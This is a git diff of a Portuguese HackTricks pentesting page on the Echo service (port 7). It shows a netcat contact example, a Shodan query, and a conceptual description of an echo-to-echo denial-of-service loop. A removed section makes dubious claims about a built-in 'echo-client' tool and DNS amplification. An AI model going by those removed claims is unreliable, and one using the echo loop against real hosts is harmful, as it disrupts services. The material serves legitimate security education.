* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,32 +1,33 @@
|
|||
# Informação Básica
|
||||
```markdown
|
||||
<details>
|
||||
|
||||
Um serviço de eco está sendo executado neste host. O serviço de eco foi destinado a fins de teste e medição e pode ouvir os protocolos TCP e UDP. O servidor envia de volta qualquer dado que recebe, sem modificação.\
|
||||
**É possível causar uma negação de serviço conectando o serviço de eco ao serviço de eco na mesma ou em outra máquina**. Devido ao número excessivamente alto de pacotes produzidos, as máquinas afetadas podem ser efetivamente retiradas de serviço.\
|
||||
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Outras formas de apoiar o HackTricks:
|
||||
|
||||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Participe do grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou do grupo [**telegram**](https://t.me/peass) ou **siga**-me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
# Informações Básicas
|
||||
|
||||
Um serviço de echo está em execução neste host. O serviço de echo foi criado para fins de teste e medição e pode escutar tanto os protocolos TCP quanto UDP. O servidor devolve qualquer dado que recebe, sem modificação.\
|
||||
**É possível causar uma negação de serviço conectando o serviço de echo a outro serviço de echo na mesma máquina ou em outra**. Devido ao número excessivamente alto de pacotes produzidos, as máquinas afetadas podem ser efetivamente retiradas de serviço.\
|
||||
Informações de [https://www.acunetix.com/vulnerabilities/web/echo-service-running/](https://www.acunetix.com/vulnerabilities/web/echo-service-running/)
|
||||
|
||||
**Porta padrão:** 7/tcp/udp
|
||||
**Porta Padrão:** 7/tcp/udp
|
||||
```
|
||||
```
|
||||
PORT STATE SERVICE
|
||||
7/udp open echo
|
||||
7/tcp open echo
|
||||
```
|
||||
## Contato com o serviço Echo (UDP)
|
||||
|
||||
### Descrição
|
||||
|
||||
O serviço Echo (eco) é um serviço de diagnóstico que permite testar a conectividade de rede entre dois sistemas. O serviço recebe um pacote de dados e o reenvia de volta ao remetente. O objetivo é verificar se o pacote foi recebido corretamente e se a conexão está funcionando corretamente.
|
||||
|
||||
### Como funciona?
|
||||
|
||||
O serviço Echo é baseado no protocolo UDP (User Datagram Protocol). O cliente envia um pacote UDP para o servidor Echo, que reenvia o pacote de volta ao cliente. O cliente pode então verificar se o pacote foi recebido corretamente e se a conexão está funcionando corretamente.
|
||||
|
||||
### Como testar?
|
||||
|
||||
Para testar o serviço Echo, você pode usar a ferramenta `echo-client` que está incluída na maioria dos sistemas operacionais. Basta executar o comando `echo-client <ip> <port>` para enviar um pacote UDP para o servidor Echo. O servidor Echo deve responder com o mesmo pacote.
|
||||
|
||||
### Vulnerabilidades
|
||||
|
||||
O serviço Echo não é vulnerável em si mesmo, mas pode ser usado como parte de um ataque de amplificação de DNS. Nesse tipo de ataque, o atacante envia um grande número de pacotes UDP para um servidor DNS, usando o endereço IP do alvo como endereço de origem. O servidor DNS responde a cada pacote com uma resposta muito maior, o que pode sobrecarregar a conexão do alvo e causar uma negação de serviço (DoS).
|
||||
```bash
|
||||
nc -uvn <IP> 7
|
||||
Hello echo #This is wat you send
|
||||
|
@ -34,27 +35,25 @@ Hello echo #This is the response
|
|||
```
|
||||
## Shodan
|
||||
|
||||
* `porta: 7 echo`
|
||||
* `port:7 echo`
|
||||
|
||||
# Referências
|
||||
|
||||
[Wikipedia echo](http://en.wikipedia.org/wiki/ECHO\_protocol)
|
||||
[Wikipedia echo](http://en.wikipedia.org/wiki/ECHO_protocol)
|
||||
|
||||
[CA-1996-01 UDP Port Denial-of-Service Attack](http://www.cert.org/advisories/CA-1996-01.html)
|
||||
[CA-1996-01 Ataque de Negação de Serviço em Porta UDP](http://www.cert.org/advisories/CA-1996-01.html)
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Aprenda hacking em AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
- Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
Outras formas de apoiar o HackTricks:
|
||||
|
||||
- Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
|
||||
- **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Participe do grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou do grupo [**telegram**](https://t.me/peass) ou **siga**-me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
Loading…
Reference in a new issue